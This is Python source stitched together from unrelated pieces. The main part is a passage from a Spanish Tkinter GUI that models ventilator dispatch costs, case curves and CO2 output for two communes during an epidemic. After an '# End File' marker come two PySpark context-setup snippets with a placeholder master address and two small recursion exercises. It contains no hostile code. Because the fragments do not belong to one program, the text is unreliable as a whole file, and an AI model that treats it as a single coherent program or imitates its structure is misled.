        sum_casos_diarios = activos[0] - activos[1]
        cont_act += sum_casos_diarios
        casos_tot.append(cont_act)
        dia.append(i)

    plt.ion()
    plt.figure('Activos')
    plt.scatter(dia, casos_tot)
    plt.show()

# --------------End Function 'Graficadoras'-----------------------------------------

# --------------End Code Here------------------------------------------------------------------------------------------

# --------------Start Code Here  'Variables'---------------------------------
# Columna 2

dia_de_evaluacion = tk.IntVar(root, value=120)
poblacion_critica = tk.DoubleVar(root, value=0.3)
parametro_de_forma = tk.DoubleVar(root, value=1.3)
parametro_de_escala = tk.DoubleVar(root, value=60)
tiempo_r_no_critico = tk.DoubleVar(root, value=21)
tamano_de_poblacion_1 = tk.DoubleVar(root, value=49721)
tamano_de_poblacion_2 = tk.DoubleVar(root, value=51195)
ruta1 = tk.DoubleVar(root, value=76.1)
ruta2 = tk.DoubleVar(root, value=97.9)
ruta3 = tk.DoubleVar(root, value=174)
ventilador = tk.DoubleVar(root, value=1)
costo_combustible = tk.IntVar(root, value=550)

# Valores
def dia_evaluacion():
    t_ = dia_de_evaluacion.get()
    return t_

def gamma():
    gamma_ = 6
    return gamma_

def poblacion1():
    n1_ = tamano_de_poblacion_1.get()
    return n1_

def poblacion2():
    n2_ = tamano_de_poblacion_2.get()
    return n2_

def valor_alpha():
    alpha_ = parametro_de_forma.get()
    return alpha_

def valor_beta():
    beta_ = parametro_de_escala.get()
    return beta_

def poblc_critica():
    pob_critica_ = poblacion_critica.get()
    return pob_critica_

def tiempo_de_recuperacion_no_c():
    t_no_c = tiempo_r_no_critico.get()
    return t_no_c

def recorrido_ruta1():
    ruta1_ = ruta1.get()
    return ruta1_

def recorrido_ruta2():
    ruta2_ = ruta2.get()
    return ruta2_

def recorrido_ruta3():
    ruta3_ = ruta3.get()
    return ruta3_

def recorrido_ruta_total():
    recorrido_total = ruta1.get() + ruta2.get() + ruta3.get()
    return recorrido_total

def pob_total():
    tamano_pop_tot = tamano_de_poblacion_1.get() + tamano_de_poblacion_2.get()
    return tamano_pop_tot

def valor_combustible():
    costo_comb = costo_combustible.get()
    return costo_comb

# --------------End Code Here-----------------------------------------------

x0y4 = ttk.Label(root, text="      ", style="BW.TLabel")
x0y4.grid(sticky="W", row=0, column=3)

# ----------------------------- Block's -------------------------------------------------------------

# --------------Start Code Here  'Column 0'-------------------------------------
x0y0 = ttk.Label(root, text="   ----------------------------------", style="BW.TLabel")
x0y0.grid(sticky="W", column=0, row=0)
x0y1 = ttk.Label(root, text="Horizonte de evaluacion:", style="BW.TLabel")
x0y1.grid(sticky="W", column=0, row=1)
x0y2 = ttk.Label(root, text="Poblacion critica:", style="BW.TLabel")
x0y2.grid(sticky="W", column=0, row=2)
x0y3 = ttk.Label(root, text="Parametro de forma (alfa):", style="BW.TLabel")
x0y3.grid(sticky="W", column=0, row=3)
x0y4 = ttk.Label(root, text="Parametro de escala(beta):", style="BW.TLabel")
x0y4.grid(sticky="W", column=0, row=4)
x0y5 = ttk.Label(root, text="Tiempo de recuperacion no critico:", style="BW.TLabel")
x0y5.grid(sticky="W", column=0, row=5)
x0y6 = ttk.Label(root, text="   ---------------------------------", style="BW.TLabel")
x0y6.grid(sticky="W", column=0, row=6)
x0y7 = ttk.Label(root, text="Tamaño de la poblacion 1:", style="BW.TLabel")
x0y7.grid(sticky="W", column=0, row=7)
x0y8 = ttk.Label(root, text="Tamaño de la poblacion 2:", style="BW.TLabel")
x0y8.grid(sticky="W", column=0, row=8)

x0y9 = ttk.Label(root, text="   ----------------------------------", style="BW.TLabel")
x0y9.grid(sticky="W", column=0, row=9)
x0y10 = ttk.Label(root, text="Costo Combustible:", style="BW.TLabel")
x0y10.grid(sticky="W", column=0, row=10)
x0y11 = ttk.Label(root, text="Ruta 1 [km]:", style="BW.TLabel")
x0y11.grid(sticky="W", column=0, row=11)
x0y12 = ttk.Label(root, text="Ruta 2 [km]:", style="BW.TLabel")
x0y12.grid(sticky="W", column=0, row=12)
x0y13 = ttk.Label(root, text="Ruta 3 [km]:", style="BW.TLabel")
x0y13.grid(sticky="W", column=0, row=13)
x0y14 = ttk.Label(root, text='Ventilador')
x0y14.grid(sticky="W", column=0, row=14)

# --------------End Code Here-----------------------------------------------

# --------------Start Code Here  'Column 1'--------------------------------

x1y0 = ttk.Label(text="----------------------------", style="BW.TLabel")
x1y0.grid(sticky="W",  column=1, row=0)
x1y1 = ttk.Entry(root, textvariable=dia_de_evaluacion)
x1y1.grid(column=1, row=1)
x1y2 = ttk.Entry(root, textvariable=poblacion_critica)
x1y2.grid(column=1, row=2)
x1y3 = ttk.Entry(root, textvariable=parametro_de_forma)
x1y3.grid(column=1, row=3)
x1y4 = ttk.Entry(root, textvariable=parametro_de_escala)
x1y4.grid(column=1, row=4)
x1y5 = ttk.Entry(root, textvariable=tiempo_r_no_critico)
x1y5.grid(column=1, row=5)
x1y6 = ttk.Label(root, text="-----------------------------", style="BW.TLabel")
x1y6.grid(sticky="W", column=1, row=6)
x1y7 = ttk.Entry(root, textvariable=tamano_de_poblacion_1)
x1y7.grid(column=1, row=7)
x1y8 = ttk.Entry(root, textvariable=tamano_de_poblacion_2)
x1y8.grid(column=1, row=8)
x1y9 = ttk.Label(root, text="-----------------------------", style="BW.TLabel")
x1y9.grid(column=1, row=9)
x1y10 = ttk.Entry(root, textvariable=costo_combustible)
x1y10.grid(column=1, row=10)
x1y11 = ttk.Entry(root, textvariable=ruta1)
x1y11.grid(column=1, row=11)
x1y12 = ttk.Entry(root, textvariable=ruta2)
x1y12.grid(column=1, row=12)
x1y13 = ttk.Entry(root, textvariable=ruta3)
x1y13.grid(column=1, row=13)
x1y14 = ttk.Radiobutton(root, text="INFINITY W4R", variable=ventilador, value=1)
x1y14.grid(sticky="W", column=1, row=14)

# --------------End Code Here-----------------------------------------------

# --------------Start Code Here  'Column 2'-------------------------------------
x2y0 = ttk.Label(root, text="--------------------------", style="BW.TLabel")
x2y0.grid(sticky="W", column=2, row=0)
x2y2 = ttk.Label(root, text="Costos Totales:", style="BW.TLabel")
x2y2.grid(sticky="W", column=2, row=2)
x2y3 = ttk.Label(root, text="Costo Compra Ventiladores:", style="BW.TLabel")
x2y3.grid(sticky="W", column=2, row=3)
x2y4 = ttk.Label(root, text="Costo Almacenamiento Ventiladores:", style="BW.TLabel")
x2y4.grid(sticky="W", column=2, row=4)
x2y5 = ttk.Label(root, text="Costo Arriendo Vehiculo:", style="BW.TLabel")
x2y5.grid(sticky="W", column=2, row=5)
x2y6 = ttk.Label(root, text="Costo Combustible:", style="BW.TLabel")
x2y6.grid(sticky="W", column=2, row=6)
x2y7 = ttk.Label(root, text="Total de ventiladores Necesarios:", style="BW.TLabel")
x2y7.grid(sticky="W", column=2, row=7)
x2y8 = ttk.Label(root, text="Cantidad de [kg] de CO2 producido: ", style="BW.TLabel")
x2y8.grid(sticky="W", column=2, row=8)
x2y9 = ttk.Label(root, text="Costo del proyecto por habitante Comuna 1 [$]: ", style="BW.TLabel")
x2y9.grid(sticky="W", column=2, row=9)
x2y10 = ttk.Label(root, text="Costo del proyecto por habitante Comuna 2 [$]: ", style="BW.TLabel")
x2y10.grid(sticky="W", column=2, row=10)
x2y11 = ttk.Label(root, text="Casos activos acumulados por habitantes de la Comuna 1 [%]: ", style="BW.TLabel")
x2y11.grid(sticky="W", column=2, row=11)
x2y12 = ttk.Label(root, text="Casos activos acumulados por habitantes de la Comuna 2 [%]: ", style="BW.TLabel")
x2y12.grid(sticky="W", column=2, row=12)
x2y13 = ttk.Label(root, text="T de CO2 por habitantes de la Comuna 1 [T]: ", style="BW.TLabel")
x2y13.grid(sticky="W", column=2, row=13)
x2y14 = ttk.Label(root, text="T de CO2 por habitantes de la Comuna 2 [T]: ", style="BW.TLabel")
x2y14.grid(sticky="W", column=2, row=14)

# --------------End Code Here-----------------------------------------------

# --------------Start Code Here  'Column 3'-------------------------------------
x3y0 = ttk.Label(root, text="--------------------------", style="BW.TLabel")
x3y0.grid(sticky="W", column=3, row=0)
x3y1 = ttk.Button(root, text='Calcular Datos', state=tk.NORMAL,
                  command=lambda: show_data(dia_evaluacion(), gamma(), poblacion1(), poblacion2(),
                                            valor_alpha(), valor_beta(), poblc_critica(), recorrido_ruta1(),
                                            recorrido_ruta2(), recorrido_ruta_total(), valor_combustible()))
x3y1.grid(column=3, row=1)
x3y2 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y2.grid(sticky="W", column=3, row=2)
x3y3 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y3.grid(sticky="W", column=3, row=3)
x3y4 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y4.grid(sticky="W", column=3, row=4)
x3y5 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y5.grid(sticky="W", column=3, row=5)
x3y6 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y6.grid(sticky="W", column=3, row=6)
x3y7 = ttk.Label(root, text="                    ", style="BW.TLabel")
x3y7.grid(sticky="W", column=3, row=7)
x3y9 = ttk.Label(root, text='', style="BW.TLabel")
x3y9.grid(sticky="W", column=3, row=9)

# --------------End Code Here-----------------------------------------------

# --------------Start Code Here  'Column 4'-------------------------------------

x4y0 = ttk.Label(root, text='Graficos')
x4y0.grid(column=4, row=0)

x4y1 = ttk.Button(root, text='Grafica de recuperados', state=tk.NORMAL,
                  command=lambda: graf_recuperados(dia_evaluacion(), pob_total(),
                                                   valor_alpha(), valor_beta(),
                                                   poblc_critica(), tiempo_de_recuperacion_no_c()))
x4y1.grid(sticky="W", column=4, row=1)

x4y2 = ttk.Button(root, text='Grafica de recuperados criticos', state=tk.NORMAL,
                  command=lambda: graf_recuperados_crit(dia_evaluacion(), pob_total(),
                                                        valor_alpha(), valor_beta(),
                                                        poblc_critica()))
x4y2.grid(sticky="W", column=4, row=2)

x4y3 = ttk.Button(root, text='Grafica de infectados', state=tk.NORMAL,
                  command=lambda: graf_infectados(dia_evaluacion(), pob_total(),
                                                  valor_alpha(), valor_beta(),
                                                  poblc_critica()))
x4y3.grid(sticky="W", column=4, row=3)

x4y4 = ttk.Button(root, text='Grafica de infectados criticos', state=tk.NORMAL,
                  command=lambda: graf_infectados_crit(dia_evaluacion(), pob_total(),
                                                       valor_alpha(), valor_beta(),
                                                       poblc_critica()))
x4y4.grid(sticky="W", column=4, row=4)
x4y5 = ttk.Button(root, text='Casos totales', state=tk.NORMAL,
                  command=lambda: grafica_casos_totales(dia_evaluacion(), pob_total(),
                                                        valor_alpha(), valor_beta(),
                                                        poblc_critica()))
x4y5.grid(sticky="W",column=4, row=5)
x4y6 = ttk.Button(root, text='Casos activos', state=tk.NORMAL,
                  command=lambda: grafica_activos_por_dia(dia_evaluacion(), pob_total(),
                                                          valor_alpha(), valor_beta(),
                                                          poblc_critica(), tiempo_de_recuperacion_no_c()))
x4y6.grid(sticky="W", column=4, row=6)

x4y15 = ttk.Label(root, text='Generar archivo .txt con datos', style="BW.TLabel")
x4y15.grid(sticky="W", column=4, row=15)
x4y16 = ttk.Label(root, text='detallados del proyecto', style="BW.TLabel")
x4y16.grid(sticky="W", column=4, row=16)

x4y17 = ttk.Button(root, text='Generar archivo', state=tk.NORMAL,
                   command=lambda: generar_txt(dia_evaluacion(), gamma(), poblacion1(), poblacion2(),
                                               valor_alpha(), valor_beta(), poblc_critica(), recorrido_ruta1(),
                                               recorrido_ruta2(), recorrido_ruta_total(), valor_combustible()))
x4y17.grid(column=4, row=17)
x4y18 = ttk.Label(root, text='By Volk', style="BW.TLabel")
x4y18.grid(sticky="E", column=4, row=18)

# --------------End Code Here-----------------------------------------------

# Funcion puesta en pantalla
# Posicion: Columna 3

def show_data(t, gamm, n1, n2, alpha, beta, pob_critica, rut1, rut2, rut3, pre_comb):

    value = Resume.retorno_final(t, gamm, n1, n2, alpha, beta, pob_critica, rut1, rut2, rut3, pre_comb)
    ca, cc, cv, vxs, vxstot, dat_viajes = value
    ccv, cav = cv
    c_tot = ca+cc+ccv+cav
    vent_totales = sum(vxs)
    co2_prod = Funciones.contaminacion_total(cc, pre_comb)

    ca_tot = Funciones.poner_punto_de_miles(ca)
    cc_tot = Funciones.poner_punto_de_miles(cc)
    ccv_tot = Funciones.poner_punto_de_miles(ccv)
    cav_tot = Funciones.poner_punto_de_miles(cav)
    c_tot = Funciones.poner_punto_de_miles(c_tot)

    # Datos en STR

    costo_arriendo_vehiculo = str(ca_tot + '     ')
    costo_combustible = str(cc_tot + '     ')
    costo_compra_ventiladores = str(ccv_tot + '     ')
    costo_almacenamiento_ventiladores = str(cav_tot + '     ')
    costo_total = str(c_tot + '     ')
    ventiladores_totales = str(vent_totales) + '     '
    co2_total = str(co2_prod) + '[kg]'

    # ---------------------------
    h_tot = n1+n2
    activos_d1 = Funciones.activos_diarios_acumulados(t, n1, alpha, beta, poblc_critica(),
                                                      tiempo_de_recuperacion_no_c())
    activos_d2 = Funciones.activos_diarios_acumulados(t, n2, alpha, beta, poblc_critica(),
                                                      tiempo_de_recuperacion_no_c())

    d1 = (rut1+(rut3*rut1/(rut1+rut2)))/(rut1+rut2+rut3)
    d2 = (rut2+(rut3*rut2/(rut1+rut2)))/(rut1+rut2+rut3)
    razon_h1 = n1/h_tot
    razon_h2 = n2/h_tot

    costo_x_habitante_com1 = Funciones.poner_punto_de_miles(int((((ca*razon_h1) + (ccv*razon_h1) + (cav*razon_h1) + (cc*d1))/n1)))
    costo_x_habitante_com2 = Funciones.poner_punto_de_miles(int((((ca*razon_h2) + (ccv*razon_h2) + (cav*razon_h2) + (cc*d2))/n2)))
    casos_activos_acum_x_com1 = round((activos_d1/n1)*100, 3)
    casos_activos_acum_x_com2 = round((activos_d2/n2)*100, 3)
    co2_x_com1 = round((((co2_prod/1000) * d1)/n1), 7)
    co2_x_com2 = round((((co2_prod/1000) * d2)/n2), 7)

    costo_x_habitante_com1 = str(costo_x_habitante_com1) + '     '
    costo_x_habitante_com2 = str(costo_x_habitante_com2) + '     '
    casos_activos_acum_x_com1 = str(casos_activos_acum_x_com1) + '%' + '     '
    casos_activos_acum_x_com2 = str(casos_activos_acum_x_com2) + '%' + '     '
    co2_x_com1 = str(co2_x_com1) + ' [T]'
    co2_x_com2 = str(co2_x_com2) + ' [T]'

    y2 = ttk.Label(root, text=costo_total, style="BW.TLabel")
    y2.grid(sticky="W", column=3, row=2)
    y3 = ttk.Label(root, text=costo_compra_ventiladores, style="BW.TLabel")
    y3.grid(sticky="W", column=3, row=3)
    y4 = ttk.Label(root, text=costo_almacenamiento_ventiladores, style="BW.TLabel")
    y4.grid(sticky="W", column=3, row=4)
    y5 = ttk.Label(root, text=costo_arriendo_vehiculo, style="BW.TLabel")
    y5.grid(sticky="W", column=3, row=5)
    y6 = ttk.Label(root, text=costo_combustible, style="BW.TLabel")
    y6.grid(sticky="W", column=3, row=6)
    y7 = ttk.Label(root, text=ventiladores_totales, style="BW.TLabel")
    y7.grid(sticky="W", column=3, row=7)
    y8 = ttk.Label(root, text=co2_total, style="BW.TLabel")
    y8.grid(sticky="W", column=3, row=8)
    y9 = ttk.Label(root, text=costo_x_habitante_com1, style="BW.TLabel")
    y9.grid(sticky="W", column=3, row=9)
    y10 = ttk.Label(root, text=costo_x_habitante_com2, style="BW.TLabel")
    y10.grid(sticky="W", column=3, row=10)
    y11 = ttk.Label(root, text=casos_activos_acum_x_com1, style="BW.TLabel")
    y11.grid(sticky="W", column=3, row=11)
    y12 = ttk.Label(root, text=casos_activos_acum_x_com2, style="BW.TLabel")
    y12.grid(sticky="W", column=3, row=12)
    y13 = ttk.Label(root, text=co2_x_com1, style="BW.TLabel")
    y13.grid(sticky="W", column=3, row=13)
    y14 = ttk.Label(root, text=co2_x_com2, style="BW.TLabel")
    y14.grid(sticky="W", column=3, row=14)

    return None

def generar_txt(t, gamm, n1, n2, alpha, beta, pob_critica, rut1, rut2, rut3, pre_comb):

    # value = (costo total, costo arriendo, costo combustible, vueltas, Cf, Cm, CVt, semana)
    value = Resume.retorno_final(t, gamm, n1, n2, alpha, beta, pob_critica, rut1, rut2, rut3, pre_comb)

    ca, cc, cv, vxs, vxstot, dat_veh_x_sem = value
    ccv, cav = cv
    c_tot = ca+cc+ccv+cav
    vent_totales = sum(vxs)
    rec_no_c = tiempo_de_recuperacion_no_c()

    ca = Funciones.poner_punto_de_miles(ca)
    cc = Funciones.poner_punto_de_miles(cc)
    ccv = Funciones.poner_punto_de_miles(ccv)
    cav = Funciones.poner_punto_de_miles(cav)
    c_tot = Funciones.poner_punto_de_miles(c_tot)

    # Datos del modelo

    nombre_archivo = 'Datos del modelo, horizonte ' + str(t) + ' dias' + '.txt'
    pob_1 = 'Personas en la localidad 1: ' + str(int(n1))
    pob_2 = 'Personas en la localidad 2: ' + str(int(n2))
    # rec_ruta1 = 'Recorrido de la ruta 1 [km]: ' + str(rut1) + '[km]'
    # rec_ruta2 = 'Recorrido de la ruta 2 [km]: ' + str(rut2) + '[km]'
    rec_ruta3 = 'Recorrido de la ruta 3 [km]: ' + str(rut3) + '[km]'
    poblacion_crit = 'Porcentaje de poblacion critica: ' + str(poblc_critica()) + '%'
    t_rec_nocritico = 'Tiempo de recuperacion de pacientes no criticos: ' + str(rec_no_c)
    parametros_alpha = 'Parametro de forma: ' + str(alpha)
    parametro_beta = 'Parametro de escala: ' + str(beta)

    # Costos del modelo
    costo_total = 'Gasto total del proyecto: ' + str(c_tot)
    costo_ventiladores = 'Gasto total en compra de ventiladores: ' + str(ccv)
    costo_almacenamiento = 'Gasto total en almacenamiento de ventiladores: ' + str(cav)
    costo_arriendo = 'Gasto total en arriendo de vehiculos: ' + str(ca)
    costo_combustible = 'Gasto total en combustibles: ' + str(cc)
    ventiladores_totales = 'Cantidad de ventiladores totales a comprar : ' + str(vent_totales)
    precio_combustible = 'Precio del combustible: ' + str(valor_combustible())

    file = open(nombre_archivo, "w")
    file.write("Datos del modelo de despacho de ventiladores" + '\n')
    file.write("    " + '\n')
    file.write("Parametros del modelo" + '\n')
    file.write(pob_1 + '\n')
    file.write(pob_2 + '\n')
    # file.write(rec_ruta1 + '\n')
    # file.write(rec_ruta2 + '\n')
    file.write(rec_ruta3 + '\n')
    file.write(poblacion_crit + '\n')
    file.write(t_rec_nocritico + '\n')
    file.write(parametros_alpha + '\n')
    file.write(parametro_beta + '\n')
    file.write("    " + '\n')
    file.write("Gastos totales del modelo" + '\n')
    file.write(costo_total + '\n')
    file.write(costo_ventiladores + '\n')
    file.write(costo_almacenamiento + '\n')
    file.write(costo_arriendo + '\n')
    file.write(costo_combustible + '\n')
    file.write(ventiladores_totales + '\n')
    file.write(precio_combustible + '\n')
    file.write("    " + '\n')
    file.write("Datos de transporte" + '\n')

    for i in range(len(vxs)):
        # value = (costo total, costo arriendo, costo combustible, vueltas, Cf, Cm, CVt, semana)
        datos_viaje = dat_veh_x_sem[i]
        cost_total, costo_arriendo, costo_combustible, recorridos, force, mercedes, ventiladores, semana = datos_viaje
        nf, nm, mf, mm, kf, km = recorridos

        arriendo = Funciones.poner_punto_de_miles(costo_arriendo)
        combustible = Funciones.poner_punto_de_miles(costo_combustible)

        file.write("    " + '\n')
        file.write('Semana ' + str(i+1) + '\n')
        file.write('Cantidad de ventiladores necesarios de transportar: ' + str(vxs[i]) + '\n')
        file.write('Gasto en arriendo de vehiculos: ' + str(Funciones.poner_punto_de_miles(costo_arriendo)) + '\n')
        file.write('Gasto en combustible: ' + str(Funciones.poner_punto_de_miles(costo_combustible)) + '\n')
        file.write('Cantidad de vehiculos Force 3500: ' + str(force) + '\n')
        file.write('Cantidad de vehiculos Mercedez: ' + str(mercedes) + '\n')
        file.write('"Vueltas"' + '\n')
        #file.write('Force ruta 1:    ' + str(nf) + '\n')
        #file.write('Mercedez ruta 1: ' + str(nm) + '\n')
        #file.write('Force ruta 2:    ' + str(mf) + '\n')
        #file.write('Mercedez ruta 2: ' + str(mm) + '\n')
        file.write('Force:    ' + str(kf) + '\n')
        file.write('Mercedez: ' + str(km) + '\n')

    file.close()

    nt_win = tk.Tk()
    nt_win.title('Ventana emergente')
    stilo = ttk.Style()
    stilo.configure("BW.TLabel", justify='CENTER')
    nt_win.geometry('220x100')
    a0b0 = ttk.Label(nt_win, text="                                    ", style="BW.TLabel")
    a0b0.grid(row=0, column=0)
    a1b0 = ttk.Label(nt_win, text="Se ha generado el archivo:", style="BW.TLabel")
    a1b0.grid(row=1, column=0)
    a2b0 = ttk.Label(nt_win, text=nombre_archivo, style="BW.TLabel")
    a2b0.grid(row=2, column=0)
    nt_win.mainloop()

    return None

root.mainloop()

# End File


from pyspark import SparkConf, SparkContext

# configure Spark
conf = SparkConf().setAppName("My PySpark App")
conf = conf.setMaster("spark://<IP_ADDRESS_OF_MASTER_NODE>:7077")
conf = conf.set("spark.cores.max", "3") # use 3 machines in parallelism
conf = conf.set("spark.executor.memory", "1g") # use 1GB of memory per machine

# create Spark context
sc = SparkContext(conf=conf)

# perform Spark operations here
rdd = sc.parallelize([1, 2, 3, 4, 5])
print(rdd.sum())

# stop Spark context
sc.stop()

from pyspark import SparkConf, SparkContext

class PySparkApp:
    def __init__(self):
        # configure Spark
        self.conf = SparkConf().setAppName("My PySpark App")
        self.conf = self.conf.setMaster("spark://<IP_ADDRESS_OF_MASTER_NODE>:7077")
        self.conf = self.conf.set("spark.cores.max", "3") # use 3 machines in parallelism
        self.conf = self.conf.set("spark.executor.memory", "1g") # use 1GB of memory per machine

        # create Spark context
        self.sc = SparkContext(conf=self.conf)

    def run_app(self):
        # perform Spark operations here
        rdd = self.sc.parallelize([1, 2, 3, 4, 5])
        print(rdd.sum())

    def stop_app(self):
        # stop Spark context
        self.sc.stop()

if __name__ == "__main__":
    app = PySparkApp()
    app.run_app()
    app.stop_app()


def recurrent(n):
  if n == 1:
    return 1
  else:
    return n * recurrent (n - 1)
print(recurrent(10))

def c(d):
    if d == 0:
        return 0#Base case
    print(d)
    c(d-1)#recursive step